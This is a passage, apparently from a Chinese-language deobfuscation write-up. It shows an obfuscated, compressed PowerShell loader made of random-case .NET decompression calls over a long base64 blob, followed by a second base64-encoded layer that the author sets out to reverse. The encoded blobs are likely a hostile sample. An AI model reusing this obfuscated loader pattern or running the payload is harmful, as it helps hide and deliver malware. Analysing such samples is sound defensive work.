88DDjOk3MVB9xdv20uU+qmY9UXb+otp94/i/aBxHFUccJnvvJfLkaty8+P9l6v+RlIe8WLq35aKgD8r6wzhtUR3tnzTcRHsX1d9wlfQDojbCgRra2eKT1Ix9smh+h+C2z/w54MuMH5lnJfdY8aXHyhCcPU/GPdHQtyDPntP6a/q7wPgoHJry/euAOeRrSj81e5yZdF/Gus/UJm+d9F/MZqHOezXvknE30S+o5i3Ddy8Tns/Plvk7d1935Hfs9NcezT13QqW9Jdor1PIPtdvfcva6+tvfk6RXhTgwUn815ls6h/Jd0HshjiT7/SfMrL119gtLdpc5eXSeveE1ihr9YNzdsxWl0F/bp0x8VrxvvUVS/kursfP4s/vPQQxAezjBVdlv4dvIch+6528H8T9J15jziZF0y63Sxr03zGYvrv9l6mN18qmDd6fwxN5b4TD39zuRFCw8nvxH3Wrxr9a9NXbLZD7JJd7qZ/1OE06qO0KQPLN3+4DkvXbgW+1yGPcz4HOlIqM9R+V36mAtZhLNd5udk5/XsuyH/AcdSus3zPETjn8Vz96TPhvodzrPqxZnpm3iMmp8brM9PvWvY5yvjeeIAjMOjnzO5njjn6zXXTyc/YepgZ98v+jX3O0jfzzrV0sfWdFHP02yaUzz2i+dn6tJIN8/1OOlPup6SdZ6tW2JeLqsnxbwd8pGYryWfE/op82ZX55tUXH/h/04cTPNNgvv43PctXnGzTtfkp2kOkfsoo3l3zXP9nGedeD7qraSffeR95FeoLjPsJNcziX8rnbqsfdzFy7I+jKpI8/wLJx+4Vvr4Xex3y+YDzHkB/cTDL1mvX1RHWFWPkx32PO6uuYfPet3r9avsv+L1a0yNv73T7Th1t3Tb0nYt+xr349e94/WZtmVc/2Nn9y3s10Ed3Je0rcefhzzCDbbo+hWuz+Ftb9tx+Pv16/jYev0ejYTH2h5m5/qK19fgjSxAX6/3cB1va9c73nkvx8Nc73n8xfH67//+X//7f/3zX//02++plRp7yL//9re//d/f/l3/7U///Osf/+Wf/qH99S8x/vV///lf/nq5/el48V//2v783/7TX/6mHO/7u98ut9/+9u8f/+Off/3n/9D+8rf/73jt7//LP/75v/32++/Hh4Tf/vTb3/zDv/xT/I//+L/+9f/8w69/Xv/usv3ddfvL3//P4z2///63/x8=' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs )) , [tEXT.EncoDING]::aScII) ).reADTOeNd() 

之后逆一下powershell

# 将您的Base64编码的密文替换为实际的密文字符串
$base64EncodedData = "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